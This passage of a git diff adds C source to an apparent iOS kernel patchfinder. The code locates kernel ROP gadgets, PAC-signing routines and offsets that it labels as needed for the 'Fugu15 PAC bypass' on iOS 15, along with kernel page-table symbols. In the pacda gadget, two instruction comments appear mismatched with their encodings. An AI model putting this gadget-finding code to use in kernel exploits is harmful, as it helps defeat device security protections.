= 9, // stride 8, unauth target is vm offset + DYLD_CHAINED_PTR_ARM64E_FIRMWARE = 10, // stride 4, unauth target is vmaddr + DYLD_CHAINED_PTR_X86_64_KERNEL_CACHE = 11, // stride 1, x86_64 kernel caches + DYLD_CHAINED_PTR_ARM64E_USERLAND24 = 12, // stride 8, unauth target is vm offset, 24-bit bind + DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE = 13, // stride 8, regular/auth targets both vm offsets. Only A keys supported +}; + + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_rebase +{ + uint64_t target : 43, + high8 : 8, + next : 11, // 4 or 8-byte stide + bind : 1, // == 0 + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_bind +{ + uint64_t ordinal : 16, + zero : 16, + addend : 19, // +/-256K + next : 11, // 4 or 8-byte stide + bind : 1, // == 1 + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_auth_rebase +{ + uint64_t target : 32, // runtimeOffset + diversity : 16, + addrDiv : 1, + key : 2, + next : 11, // 4 or 8-byte stide + bind : 1, // == 0 + auth : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_auth_bind +{ + uint64_t ordinal : 16, + zero : 16, + diversity : 16, + addrDiv : 1, + key : 2, + next : 11, // 4 or 8-byte stide + bind : 1, // == 1 + auth : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_64/DYLD_CHAINED_PTR_64_OFFSET +struct dyld_chained_ptr_64_rebase +{ + uint64_t target : 36, // 64GB max image size (DYLD_CHAINED_PTR_64 => vmAddr, DYLD_CHAINED_PTR_64_OFFSET => runtimeOffset) + high8 : 8, // top 8 bits set to this (DYLD_CHAINED_PTR_64 => after slide added, DYLD_CHAINED_PTR_64_OFFSET => before slide added) + reserved : 7, // all zeros + next : 12, // 4-byte stride + bind : 1; // == 0 +}; + + +// DYLD_CHAINED_PTR_ARM64E_USERLAND24 +struct dyld_chained_ptr_arm64e_bind24 +{ + uint64_t ordinal : 24, + zero : 8, + addend : 19, // +/-256K + next : 11, // 8-byte stide + bind : 1, // == 1 + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E_USERLAND24 +struct dyld_chained_ptr_arm64e_auth_bind24 +{ + uint64_t ordinal : 24, + zero : 8, + diversity : 16, + addrDiv : 1, + key : 2, + next : 11, // 8-byte stide + bind : 1, // == 1 + auth : 1; // == 1 +}; + + +// DYLD_CHAINED_PTR_64 +struct dyld_chained_ptr_64_bind +{ + uint64_t ordinal : 24, + addend : 8, // 0 thru 255 + reserved : 19, // all zeros + next : 12, // 4-byte stride + bind : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_64_KERNEL_CACHE, DYLD_CHAINED_PTR_X86_64_KERNEL_CACHE +struct dyld_chained_ptr_64_kernel_cache_rebase +{ + uint64_t target : 30, // basePointers[cacheLevel] + target + cacheLevel : 2, // what level of cache to bind to (indexes a mach_header array) + diversity : 16, + addrDiv : 1, + key : 2, + next : 12, // 1 or 4-byte stide + isAuth : 1; // 0 -> not authenticated. 1 -> authenticated +}; + +// DYLD_CHAINED_PTR_32 +// Note: for DYLD_CHAINED_PTR_32 some non-pointer values are co-opted into the chain +// as out of range rebases. If an entry in the chain is > max_valid_pointer, then it +// is not a pointer. To restore the value, subtract off the bias, which is +// (64MB+max_valid_pointer)/2. +struct dyld_chained_ptr_32_rebase +{ + uint32_t target : 26, // vmaddr, 64MB max image size + next : 5, // 4-byte stride + bind : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_32 +struct dyld_chained_ptr_32_bind +{ + uint32_t ordinal : 20, + addend : 6, // 0 thru 63 + next : 5, // 4-byte stride + bind : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_32_CACHE +struct dyld_chained_ptr_32_cache_rebase +{ + uint32_t target : 30, // 1GB max dyld cache TEXT and DATA + next : 2; // 4-byte stride +}; + + +// DYLD_CHAINED_PTR_32_FIRMWARE +struct dyld_chained_ptr_32_firmware_rebase +{ + uint32_t target : 26, // 64MB max firmware TEXT and DATA + next : 6; // 4-byte stride +}; + +// DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE +struct dyld_chained_ptr_arm64e_shared_cache_rebase +{ + uint64_t runtimeOffset : 34, // offset from the start of the shared cache + high8 : 8, + unused : 10, + next : 11, // 8-byte stide + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE +struct dyld_chained_ptr_arm64e_shared_cache_auth_rebase +{ + uint64_t runtimeOffset : 34, // offset from the start of the shared cache + diversity : 16, + addrDiv : 1, + keyIsData : 1, // implicitly always the 'A' key. 0 -> IA. 1 -> DA + next : 11, // 8-byte stide + auth : 1; // == 1 +}; + + + +// values for dyld_chained_fixups_header.imports_format +enum { + DYLD_CHAINED_IMPORT = 1, + DYLD_CHAINED_IMPORT_ADDEND = 2, + DYLD_CHAINED_IMPORT_ADDEND64 = 3, +}; + +// DYLD_CHAINED_IMPORT +struct dyld_chained_import +{ + uint32_t lib_ordinal : 8, // -15 .. 240 (0xF1 .. 0xF0) + weak_import : 1, + name_offset : 23; +}; + +// DYLD_CHAINED_IMPORT_ADDEND +struct dyld_chained_import_addend +{ + uint32_t lib_ordinal : 8, // -15 .. 240 (0xF1 .. 0xF0) + weak_import : 1, + name_offset : 23; + int32_t addend; +}; + +// DYLD_CHAINED_IMPORT_ADDEND64 +struct dyld_chained_import_addend64 +{ + uint64_t lib_ordinal : 16, // -15 .. 65520 (0xFFF1 .. 0xFFF0) + weak_import : 1, + reserved : 15, + name_offset : 32; + uint64_t addend; +}; + +#endif // __MACH_O_FIXUP_CHAINS__ + diff --git a/XPF/src/bad_recovery.c b/XPF/src/bad_recovery.c new file mode 100644 index 0000000..79b41ca --- /dev/null +++ b/XPF/src/bad_recovery.c @@ -0,0 +1,311 @@ +#include "xpf.h" + +// Offsets required for the Fugu15 PAC bypass + +bool xpf_bad_recovery_supported(void) +{ + if (!gXPF.kernelIsArm64e) { + // non-PACed devices + return false; + } + if (strcmp(gXPF.darwinVersion, "21.0.0") >= 0 && strcmp(gXPF.darwinVersion, "21.5.0") < 0) { + // iOS 15.0 - 15.4.1: Supported + return true; + } + else if ( + (strcmp(gXPF.xnuBuild, "8020.120.43.112.1~1") == 0) || + (strcmp(gXPF.xnuBuild, "8020.120.51.122.2~1") == 0) || + (strcmp(gXPF.xnuBuild, "8020.120.68.132.1~1") == 0) + ) { + // iOS 15.5b1 - 15.5b3: Supported + return true; + } + + // Anything else: Not supported + return false; +} + +static uint64_t xpf_find_hw_lck_ticket_reserve_orig_allow_invalid_signed(void) +{ + uint32_t strX10X16Any = 0, strX10X16AnyMask = 0; + arm64_gen_str_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_X(10), ARM64_REG_X(16), OPT_UINT64_NONE, &strX10X16Any, &strX10X16AnyMask); + + uint32_t movzW0_0 = 0, movzW0_0Mask = 0; + arm64_gen_mov_imm('z', ARM64_REG_W(0), OPT_UINT64(0), OPT_UINT64(0), &movzW0_0, &movzW0_0Mask); + + uint32_t inst[] = (uint32_t[]) { + strX10X16Any, // str x10, [x16, ?] + movzW0_0, // movz w0, #0 + 0xd65f03c0, // ret + }; + uint32_t mask[] = (uint32_t[]) { + strX10X16AnyMask, + movzW0_0Mask, + 0xffffffff, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t hw_lck_ticket_reserve_orig_allow_invalid_signed = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + // Filter out anything with a wfe instruction before it + if (pfsec_read32(gXPF.kernelTextSection, vmaddr-4) != 0xd503205f /* wfe */) { + hw_lck_ticket_reserve_orig_allow_invalid_signed = vmaddr; + *stop = true; + } + }); + pfmetric_free(metric); + return hw_lck_ticket_reserve_orig_allow_invalid_signed; +} + +static uint64_t xpf_find_hw_lck_ticket_reserve_orig_allow_invalid(void) +{ + uint32_t adrAny = 0, adrAnyMask = 0; + arm64_gen_adr_p(OPT_BOOL(false), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrAny, &adrAnyMask); + + uint64_t hw_lck_ticket_reserve_orig_allow_invalid_signed = xpf_item_resolve("kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed"); + XPF_ASSERT(hw_lck_ticket_reserve_orig_allow_invalid_signed); + return pfsec_find_prev_inst(gXPF.kernelTextSection, hw_lck_ticket_reserve_orig_allow_invalid_signed, 40, adrAny, adrAnyMask); +} + +static uint64_t xpf_find_br_x22_gadget(void) +{ + // Gadget: + // pacia x22, sp + // (... some code ...) + // braa x22, sp + + uint32_t inst[] = (uint32_t[]){ + 0xd71f0adf // braa x22, sp + }; + + __block uint64_t brX22Gadget = 0; + PFPatternMetric *pacMetric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, pacMetric, ^(uint64_t signCandidate, bool *stop) { + uint32_t brX22 = 0xdac103f6; // pacia x22, sp + uint64_t brX22Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, signCandidate, 50, brX22, 0xffffffff); + if (brX22Addr) { + brX22Gadget = brX22Addr; + *stop = true; + } + }); + pfmetric_free(pacMetric); + + return brX22Gadget; +} + +static uint64_t xpf_find_exception_return_after_check(void) +{ + uint64_t exception_return = xpf_item_resolve("kernelSymbol.exception_return"); + + uint32_t inst[] = (uint32_t[]){ + 0xaa0303fe, // mov x30, x3 + 0xaa1603e3, // mov x3, x22 + 0xaa1703e4, // mov x4, x23 + 0xaa1803e5 // mov x5, x24 + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t exception_return_after_check = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, exception_return, -1, metric, ^(uint64_t vmaddr, bool *stop){ + exception_return_after_check = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return exception_return_after_check; +} + +static uint64_t xpf_find_exception_return_after_check_no_restore(void) +{ + uint64_t exception_return = xpf_item_resolve("kernelSymbol.exception_return"); + + uint32_t inst[] = (uint32_t[]){ + 0xd5184021 // msr elr_el1, x1 + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t exception_return_after_check_no_restore = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, exception_return, -1, metric, ^(uint64_t vmaddr, bool *stop){ + exception_return_after_check_no_restore = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return exception_return_after_check_no_restore; +} + +static uint64_t xpf_find_ldp_x0_x1_x8_gadget(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xa9400500, // ldp x0, x1, [x8] + 0xd65f03c0 // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t ldp_x0_x1_x8_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + ldp_x0_x1_x8_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return ldp_x0_x1_x8_gadget; +} + +static uint64_t xpf_find_str_x8_x9_gadget(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xf9000128, // str x8, [x9] + 0xd65f03c0 // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t str_x8_x9_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + str_x8_x9_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return str_x8_x9_gadget; +} + +static uint64_t xpf_find_str_x0_x19_ldr_x20_gadget(void) +{ + uint32_t ldrAnyX20Any = 0, ldrAnyX20AnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_X(20), OPT_UINT64_NONE, &ldrAnyX20Any, &ldrAnyX20AnyMask); + + uint32_t inst[] = (uint32_t[]){ + 0xf9000260, // str x0, [x19] + ldrAnyX20Any // ldr x?, [x20, ?] + }; + uint32_t mask[] = (uint32_t[]){ + 0xffffffff, + ldrAnyX20AnyMask + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t str_x0_x19_ldr_x20_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + str_x0_x19_ldr_x20_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return str_x0_x19_ldr_x20_gadget; +} + +static uint64_t xpf_find_pacda_gadget(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xf100003f, // cmp x1, #0 + 0xdac10921, // pacda x1, x9 + 0x9a8103e9, // str x9, [x8] + 0xf9000109, // csel x9, xzr, x1, eq + 0xd65f03c0 // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t pacda_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + pacda_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return pacda_gadget; +} + +static uint64_t xpf_find_ml_sign_thread_state(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0x9ac03021, // pacga x1, x1, x0 + 0x9262f842, // and x2, x2, #0xffffffffdfffffff + 0x9ac13041, // pacga x1, x2, x1 + 0x9ac13061, // pacga x1, x3, x1 + 0x9ac13081, // pacga x1, x4, x1 + 0x9ac130a1, // pacga x1, x5, x1 + 0xf9009401, // str x1, [x0, #0x128] + 0xd65f03c0 // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t ml_sign_thread_state = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + ml_sign_thread_state = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return ml_sign_thread_state; +} + +static uint64_t xpf_find_thread_recover(void) +{ + uint64_t hw_lck_ticket_reserve_orig_allow_invalid_signed = xpf_item_resolve("kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed"); + XPF_ASSERT(hw_lck_ticket_reserve_orig_allow_invalid_signed); + uint32_t strInst = pfsec_read32(gXPF.kernelTextSection, hw_lck_ticket_reserve_orig_allow_invalid_signed); + uint64_t imm = 0; + arm64_dec_str_imm(strInst, NULL, NULL, &imm, NULL, NULL); + return imm; +} + +static uint64_t xpf_find_thread_machine_kstackptr(void) +{ + uint32_t ldrAnyInst = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAnyInst, &ldrAnyMask); + + uint32_t inst[3] = { + 0xd538d08a, // mrs x10, tpidr_el1 + ldrAnyInst, // ldr x?, [x?, TH_KSTACKPTR] + 0xd503233f, // paciasp + }; + uint32_t mask[3] = { + 0xffffffff, + ldrAnyMask, + 0xffffffff, + }; + + __block uint64_t machine_kstackptr = 0; + PFPatternMetric *patternMetric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr + 4), NULL, NULL, &machine_kstackptr, NULL, NULL); + *stop = true; + }); + pfmetric_free(patternMetric); + + if (!machine_kstackptr) { + uint32_t inst2[] = { + 0xd538d08a, // mrs x10, tpidr_el1 + ldrAnyInst, // ldr x?, [x?, TH_KSTACKPTR] + }; + uint32_t mask2[] = { + 0xffffffff, + ldrAnyMask, + }; + + uint32_t movk_w12_0x4Inst = 0, movk_w12_0x4Mask = 0; + arm64_gen_mov_imm('k', ARM64_REG_W(12), OPT_UINT64(0x4), OPT_UINT64(0), &movk_w12_0x4Inst, &movk_w12_0x4Mask); + + PFPatternMetric *patternMetric2 = pfmetric_pattern_init(inst2, mask2, sizeof(inst2), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric2, ^(uint64_t vmaddr, bool *stop) { + if (pfsec_find_next_inst(gXPF.kernelTextSection, vmaddr, 0x10, movk_w12_0x4Inst, movk_w12_0x4Mask)) { + arm64_dec_ldr_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr + 4), NULL, NULL, &machine_kstackptr, NULL, NULL); + *stop = true; + } + }); + pfmetric_free(patternMetric2); + } + + return machine_kstackptr; +} + +void xpf_bad_recovery_init(void) +{ + if (gXPF.kernelIsArm64e && xpf_bad_recovery_supported()) { + xpf_item_register("kernelSymbol.hw_lck_ticket_reserve_orig_allow_invalid", xpf_find_hw_lck_ticket_reserve_orig_allow_invalid, NULL); + xpf_item_register("kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed", xpf_find_hw_lck_ticket_reserve_orig_allow_invalid_signed, NULL); + xpf_item_register("kernelGadget.br_x22", xpf_find_br_x22_gadget, NULL); + xpf_item_register("kernelGadget.exception_return_after_check", xpf_find_exception_return_after_check, NULL); + xpf_item_register("kernelGadget.exception_return_after_check_no_restore", xpf_find_exception_return_after_check_no_restore, NULL); + xpf_item_register("kernelGadget.ldp_x0_x1_x8", xpf_find_ldp_x0_x1_x8_gadget, NULL); + xpf_item_register("kernelGadget.str_x8_x9", xpf_find_str_x8_x9_gadget, NULL); + xpf_item_register("kernelGadget.str_x0_x19_ldr_x20", xpf_find_str_x0_x19_ldr_x20_gadget, NULL); + xpf_item_register("kernelGadget.pacda", xpf_find_pacda_gadget, NULL); + xpf_item_register("kernelSymbol.ml_sign_thread_state", xpf_find_ml_sign_thread_state, NULL); + xpf_item_register("kernelStruct.thread.recover", xpf_find_thread_recover, NULL); + } +} \ No newline at end of file diff --git a/XPF/src/bad_recovery.h b/XPF/src/bad_recovery.h new file mode 100644 index 0000000..bbc6c7d --- /dev/null +++ b/XPF/src/bad_recovery.h @@ -0,0 +1,2 @@ +void xpf_bad_recovery_init(void); +bool xpf_bad_recovery_supported(void); \ No newline at end of file diff --git a/XPF/src/common.c b/XPF/src/common.c new file mode 100644 index 0000000..10e9913 --- /dev/null +++ b/XPF/src/common.c @@ -0,0 +1,1385 @@ +#include "xpf.h" + +static uint64_t xpf_sptm_find_arm_vm_init(void) { + PFStringMetric *unsupportedMemMetric = pfmetric_string_init("Unsupported memory configuration %lx @%s:%d"); + __block uint64_t unsupportedMemAddr = 0; + pfmetric_run(gXPF.kernelStringSection, unsupportedMemMetric, ^(uint64_t vmaddr, bool *stop) { + unsupportedMemAddr = vmaddr; + *stop = true; + }); + pfmetric_free(unsupportedMemMetric); + XPF_ASSERT(unsupportedMemAddr); + + __block uint64_t arm_init_mid = 0; + PFXrefMetric *unsupportedMemXrefMetric = pfmetric_xref_init(unsupportedMemAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, unsupportedMemXrefMetric, ^(uint64_t vmaddr, bool *stop) { + arm_init_mid = vmaddr; + *stop = true; + }); + pfmetric_free(unsupportedMemXrefMetric); + XPF_ASSERT(arm_init_mid); + + uint64_t ret = pfsec_find_function_start(gXPF.kernelTextSection, arm_init_mid); + return ret; +} + +static uint64_t xpf_find_arm_vm_init(void) +{ + PFStringMetric *contiguousHintMetric = pfmetric_string_init("use_contiguous_hint"); + __block uint64_t contiguousHintAddr = 0; + pfmetric_run(gXPF.kernelStringSection, contiguousHintMetric, ^(uint64_t vmaddr, bool *stop) { + contiguousHintAddr = vmaddr; + *stop = true; + }); + pfmetric_free(contiguousHintMetric); + XPF_ASSERT(contiguousHintAddr); + + __block uint64_t arm_init_mid = 0; + PFXrefMetric *contiguousHintXrefMetric = pfmetric_xref_init(contiguousHintAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, contiguousHintXrefMetric, ^(uint64_t vmaddr, bool *stop) { + arm_init_mid = vmaddr; + *stop = true; + }); + pfmetric_free(contiguousHintXrefMetric); + XPF_ASSERT(arm_init_mid); + + return pfsec_find_function_start(gXPF.kernelTextSection, arm_init_mid); +} + +static uint64_t xpf_find_arm_vm_init_reference(uint32_t n) +{ + uint64_t arm_vm_init = xpf_item_resolve("kernelSymbol.arm_vm_init"); + XPF_ASSERT(arm_vm_init); + + uint32_t strAny = 0, strAnyMask = 0; + arm64_gen_str_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &strAny, &strAnyMask); + + uint64_t toCheck = arm_vm_init; + uint64_t strAddr = 0; + for (int i = 0; i < n; i++) { + strAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 0x20, strAny, strAnyMask); + toCheck = strAddr + 4; + } + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, strAddr); +} + +static uint64_t xpf_find_pmap_bootstrap(void) +{ + __block uint64_t pmap_asid_plru_stringAddr = 0; + PFStringMetric *asidPlruMetric = pfmetric_string_init("pmap_asid_plru"); + pfmetric_run(gXPF.kernelStringSection, asidPlruMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_asid_plru_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(asidPlruMetric); + XPF_ASSERT(pmap_asid_plru_stringAddr); + + __block uint64_t pmap_bootstrap = 0; + PFXrefMetric *asidPlruXrefMetric = pfmetric_xref_init(pmap_asid_plru_stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, asidPlruXrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_bootstrap = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(asidPlruXrefMetric); + return pmap_bootstrap; +} + +static uint64_t xpf_find_pointer_mask_symbol(uint32_t n) +{ + uint64_t pmap_bootstrap = xpf_item_resolve("kernelSymbol.pmap_bootstrap"); + XPF_ASSERT(pmap_bootstrap); + + uint32_t ldrQ0AnyInst = 0, ldrQ0AnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_Q(0), ARM64_REG_ANY, OPT_UINT64_NONE, &ldrQ0AnyInst, &ldrQ0AnyMask); + + uint64_t ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, pmap_bootstrap, 0x100, ldrQ0AnyInst, ldrQ0AnyMask); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr); +} + +static uint64_t xpf_find_pointer_mask(void) +{ + uint64_t pointer_mask_symbol = xpf_item_resolve("kernelSymbol.pointer_mask"); + XPF_ASSERT(pointer_mask_symbol); + + uint64_t pointer_mask = pfsec_read64(gXPF.kernelConstSection, pointer_mask_symbol); + if (pointer_mask != 0xffffff8000000000 && pointer_mask != 0xffff800000000000 && pointer_mask != 0xffffffc000000000) { + xpf_set_error("xpf_find_pointer_mask error: Unexpected PAC mask: 0x%llx", pointer_mask); + return 0; + } + return pointer_mask; +} + +static uint64_t xpf_find_T1SZ_BOOT(void) +{ + // for T1SZ_BOOT, count how many bits in the pointer_mask are set + uint64_t pointer_mask = xpf_item_resolve("kernelConstant.pointer_mask"); + uint64_t T1SZ_BOOT = 0; + for (uint64_t i = 64; i > 0; i--) { + if (pointer_mask & (1ULL << (i - 1))) { + T1SZ_BOOT++; + } + } + return T1SZ_BOOT; +} + +static uint64_t xpf_find_ARM_TT_L1_INDEX_MASK(void) +{ + uint64_t T1SZ_BOOT = xpf_item_resolve("kernelConstant.T1SZ_BOOT"); + switch (T1SZ_BOOT) { + case 17: + return 0x00007ff000000000ULL; + case 25: + return 0x0000007000000000ULL; + case 26: + return 0x0000003fc0000000ULL; + default: + xpf_set_error("ARM_TT_L1_INDEX_MASK: Unexpected T1SZ_BOOT??? (%llu)", T1SZ_BOOT); + return 0; + } +} + +static uint64_t xpf_find_PT_INDEX_MAX(void) +{ + // return 0x4343434343434343; + PFSection *textSection = (gXPF.kernelIsArm64e && !gXPF.isSPTMDevice) ? gXPF.kernelPPLTextSection : gXPF.kernelTextSection; + + PFStringMetric *stringMetric = pfmetric_string_init("%s: out of PTD entries and for some reason didn't allocate more %d %p"); + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t xrefAddr = 0; + pfmetric_run(textSection, xrefMetric, ^(uint64_t vmaddr, bool *stop){ + xrefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(xrefMetric); + XPF_ASSERT(xrefAddr); + + uint32_t movnAny0Inst = 0, movnAny0Mask = 0; + arm64_gen_mov_imm('n', ARM64_REG_ANY, OPT_UINT64(0), OPT_UINT64(0), &movnAny0Inst, &movnAny0Mask); + uint64_t movAddr = pfsec_find_prev_inst(textSection, xrefAddr, 100, movnAny0Inst, movnAny0Mask); + XPF_ASSERT(movAddr); + + arm64_register movReg; + int r = arm64_dec_mov_imm(pfsec_read32(textSection, movAddr), &movReg, NULL, NULL, NULL); + + uint32_t strInst = 0, strMask = 0; + arm64_gen_str_imm(0, LDR_STR_TYPE_UNSIGNED, movReg, ARM64_REG_ANY, OPT_UINT64_NONE, &strInst, &strMask); + uint32_t ret = gXPF.kernelIsArm64e ? 0xd65f0fff : 0xd65f03c0; + + // We need to count all "str [movReg], ?" instructions until we hit a RET(AB), then we have the PT_INDEX_MAX + // Apparently the first one is an STP :( so we start with 1 + uint64_t PT_INDEX_MAX = 1; + for (int i = 0; i < 100; i++) { + uint32_t inst = pfsec_read32(textSection, movAddr + (i * 4)); + if ((inst & strMask) == strInst) { + PT_INDEX_MAX++; + } + else if (inst == ret) { + break; + } + } + return PT_INDEX_MAX; +} + +static uint64_t xpf_find_phystokv(void) +{ + uint64_t arm_vm_init = xpf_item_resolve("kernelSymbol.arm_vm_init"); + XPF_ASSERT(arm_vm_init); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + + // On ARM_LARGE_MEMORY kernels, the second bl is phystokv + uint32_t n = gXPF.kernelBase == 0xfffffe0007004000 ? 2 : 1; + + uint64_t blAddr = arm_vm_init; + for (uint32_t i = 0; i < n; i++) { + blAddr = pfsec_find_next_inst(gXPF.kernelTextSection, blAddr + 4, 0, blAny, blAnyMask); + } + + uint64_t phystokv = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, blAddr), blAddr, &phystokv, NULL); + return phystokv; +} + +/*static uint64_t xpf_find_gVirtSize(void) +{ + return 0; +}*/ + +static uint64_t xpf_find_ptov_table(void) +{ + uint64_t phystokv = xpf_item_resolve("kernelSymbol.phystokv"); + XPF_ASSERT(phystokv); + + uint32_t ldrAny = 0, ldrAnyMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrAny, &ldrAnyMask); + + // Second ldr in phytokv references ptov_table + uint64_t toCheck = phystokv; + uint64_t ldrAddr = 0; + for (int i = 0; i < 2; i++) { + ldrAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 20, ldrAny, ldrAnyMask); + toCheck = ldrAddr + 4; + } + XPF_ASSERT(ldrAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrAddr); +} + +static uint64_t xpf_find_start_first_cpu(void) +{ + uint64_t start_first_cpu = 0; + arm64_dec_b_l(pfsec_read32(gXPF.kernelTextSection, gXPF.kernelEntry), gXPF.kernelEntry, &start_first_cpu, NULL); + return start_first_cpu; +} + +static uint64_t xpf_find_cpu_ttep(void) +{ + if (gXPF.isSPTMDevice) { + uint64_t pmap_bootstrap = xpf_item_resolve("kernelSymbol.pmap_bootstrap"); + + // search ADRP xN, #cpu_ttep@PAGE; + uint32_t inst[] = { + 0x90000000, // adrp xN, #0x... + 0xf9400000, // ldr xN, [xN, #0x...] + 0xa9000000, // stp xN, xN, [xN] + }; + uint32_t mask[] = { + 0x9F000000, + 0xFFC00000, + 0xFFFF8000, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t adrpAddr = 0; + pfmetric_run_in_range(gXPF.kernelTextSection, pmap_bootstrap, -1, metric, ^(uint64_t vmaddr, bool *stop){ + adrpAddr = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + + uint64_t ret = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr+4); + printf("cpu_ttep found? 0x%llx\n", ret); + return ret; + } + uint64_t start_first_cpu = xpf_item_resolve("kernelSymbol.start_first_cpu"); + + uint32_t cbzX21Any = 0, cbzX21AnyMask = 0; + arm64_gen_cb_n_z(OPT_BOOL(false), ARM64_REG_X(21), OPT_UINT64_NONE, &cbzX21Any, &cbzX21AnyMask); + + uint64_t cpu_ttep_pre = pfsec_find_next_inst(gXPF.kernelTextSection, start_first_cpu, 0, cbzX21Any, cbzX21AnyMask); + 